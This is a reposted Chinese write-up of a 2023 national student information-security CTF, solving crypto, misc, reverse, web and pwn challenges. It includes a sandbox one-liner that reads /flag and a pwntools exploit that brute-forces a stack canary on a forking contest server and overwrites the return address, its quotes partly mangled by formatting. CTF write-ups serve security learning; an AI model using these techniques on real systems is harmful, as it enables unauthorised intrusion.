2023全国大学生 信息安全竞赛创新实践能力赛 您所在的位置:网站首页 第七届全国大学生艾滋病知识竞赛什么时候开始的 2023全国大学生 信息安全竞赛创新实践能力赛

2023全国大学生 信息安全竞赛创新实践能力赛

2023-06-10 23:47| 来源: 网络整理| 查看: 265

2023全国大学生 信息安全竞赛创新实践能力赛部分wp

战队 WRITEUP

解题过程 1. Crypto 基于国密 SM2 算法的密钥密文分发

根据要求先随机生成 SM2 密钥对 A。用生成的私钥 A,对服务器发送的 randomString进行 SM2 解密, 用解密得到的十六字节随机数对服务器发送的 privatekey 采用 SM4ECB 解密, 解密得到的明文再对服务器发送的 quantumString 采用 SM2 解密,得到明文,上传至服务 器。服务器显示结果正确,服务器 search 得到flag。 cmd 全部过程如下

flag{f047cf8d-f24f-4d6c-ac3e-faccbd061a9b}

2. Misc 签到卡

需要写 python3 命令来得到flag 文件

直接在打字机里输入 print(open(‘/flag’).read()),得到 flag flag{745d82f7-70c7-4827 -b28c-db65693fa3c1}

3. Crypto sign_in_passwd

该题为换表 base64,flag 文件中的第二行为表: GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF5 用 url 解码得到: GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5 用 cyberchef 在线网站解密,按照如下填写,将表填入 alphabet,换表 base64 解密 j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D 得到 flag flag{8e4b2888-6148-4003 -b725-3ff0d93a6ee4}

4. Misc 被加密的生产流量

用 wireshark 打开文件, 过滤 modbus ,追踪 TCP 流,如下所示

拼接客户端字符,如下: Base32 解密,得到 flag flag{c1f_fi1g_1000}

5. Reverse babyRE

打开网页https://snap.berkeley.edu 点击 Run Snap Now 在此网页打开题目所给的 xml 文件 在 secret 列表后添加显示变量

Secret 列表即为输入的 flag 列表前一个字符的 unicode 码与后一个字符的 unicode 码异或 得到的 显然 secret 列表第一个数为f 的 Unicode 码, 可以推出将第一个数与后一个数进行异或, 得 到的结果再与后一个数异或,这样进行下去,可以得到flag 写 python 脚本如下: secret=[102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7 ,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30] data = [] data.append(102) data.append(102^10) for i in range(2,len(secret)):

data.append(data[-1]^secret[i])

for i in data: print(chr(i),end=“”)

flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c}

标题6. Misc pyshell

利用下划线输出是上次计算的结果,然后用这个方法拼接 open 读 flag flag{a3695970-195e-445a -aa39-2e06a5516967}

标题7. Web dumpit

sqldump ,env 读取 flag{6ab5a49b-3bbd-4abb-8057-a5c9b0925a6e}

PWN funcanary

对 fork 而言,作用相当于自我复制,每一次复制出来的程序,内存布局都是一样的,当然 canary 值也一样。那我们就可以逐位爆破因为canary 的值的第一个字节总是 0x00,所以 只需要爆破剩下的七个字节就可以了,每次尝试一个字节,如果程序顺利执行则不会出现 terminated\n” 根据上述构造 poc #!/bin/python3 from pwn import * from time import sleep context.arch = “amd64” io = remote(“47.94.206.10” ,18324) padding = b"a"*104 canary = b’\x00’ for i in range(7): for j in range(0x100): print(j) io.recvuntil(b"welcome\n") io.send(padding + canary + bytes(chr(j).encode())) ret = io.recvline() print(ret) if b"terminated\n" in ret: continue else: log.info(f"found one") break canary += bytes(chr(j).encode()) log.info(f"canary: {canary}“) io.recv() data = [”\x02", “\x12”,“\x22”, “\x32”, “\x42”, “\x52”, “\x62”, "\x72 “, “\x82”, “\x92”, “\xa2”] for i in range(10): io.send(padding + canary + b"a”*8 + “\x31” + data[i]) print(io.recv())

welcome flag{2b6b52df-9b68-4b33-873c-ef45481f0ddc}



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有